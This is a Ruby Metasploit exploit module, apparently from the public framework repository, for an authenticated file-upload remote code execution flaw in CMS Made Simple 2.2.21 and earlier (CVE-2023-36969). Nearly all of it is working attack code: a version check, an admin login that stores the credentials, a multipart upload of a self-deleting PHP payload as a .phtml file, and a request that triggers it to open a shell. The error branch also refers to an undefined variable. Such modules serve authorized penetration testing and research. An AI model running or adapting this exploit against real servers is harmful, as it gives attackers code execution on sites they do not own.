43c929d56e
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
146 lines
4.5 KiB
Ruby
146 lines
4.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::PhpEXE
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
|
|
'Description' => %q{
|
|
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
|
|
with the .phar or .phtml extensions, enabling execution of PHP code
|
|
leading to RCE. The file can be executed by accessing its URL in the
|
|
/uploads/ directory.
|
|
|
|
Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Okan Kurtuluş', # Initial research
|
|
'Mirabbas Ağalarov', # EDB PoC
|
|
'tastyrice' # Metasploit Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2023-36969'],
|
|
['EDB', '51600']
|
|
],
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [
|
|
[
|
|
'Universal', {}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2023-06-07',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
|
|
]
|
|
)
|
|
end
|
|
|
|
def multipart_form_data(uri, data, message)
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', uri),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{message.bound}",
|
|
'keep_cookies' => true
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, '', 'index.php'),
|
|
'method' => 'GET'
|
|
)
|
|
unless res && res.code == 200
|
|
vprint_error('Connection Failed')
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
set_cookie = res.get_cookies
|
|
return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
|
|
|
|
html = res.get_html_document
|
|
version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
|
|
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
|
|
|
|
return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
|
|
|
|
CheckCode::Detected
|
|
end
|
|
|
|
def login
|
|
data = {
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'loginsubmit' => 'Submit'
|
|
}
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
|
|
'method' => 'POST',
|
|
'vars_post' => data,
|
|
'keep_cookies' => true
|
|
)
|
|
fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
|
|
|
|
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
|
vprint_good("#{peer} - Authentication was successful")
|
|
end
|
|
|
|
def send_file
|
|
filename = "#{rand_text_alpha(8..12)}.phtml"
|
|
c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
|
|
payload = get_write_exec_payload(unlink_self: true)
|
|
|
|
# create the message with payload
|
|
message = Rex::MIME::Message.new
|
|
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
|
|
message.add_part(c, nil, nil, 'form-data; name="__c"')
|
|
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
|
|
message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
|
|
data = message.to_s
|
|
|
|
# send payload
|
|
payload_res = multipart_form_data('moduleinterface.php', data, message)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
|
|
vprint_good("#{peer} - File uploaded #{filename}")
|
|
|
|
# open shell
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'uploads', filename),
|
|
'method' => 'GET'
|
|
)
|
|
return unless res && res.code == 404
|
|
|
|
print_error("Shell #{shell_name} not found")
|
|
end
|
|
|
|
def exploit
|
|
login
|
|
send_file
|
|
end
|
|
end
|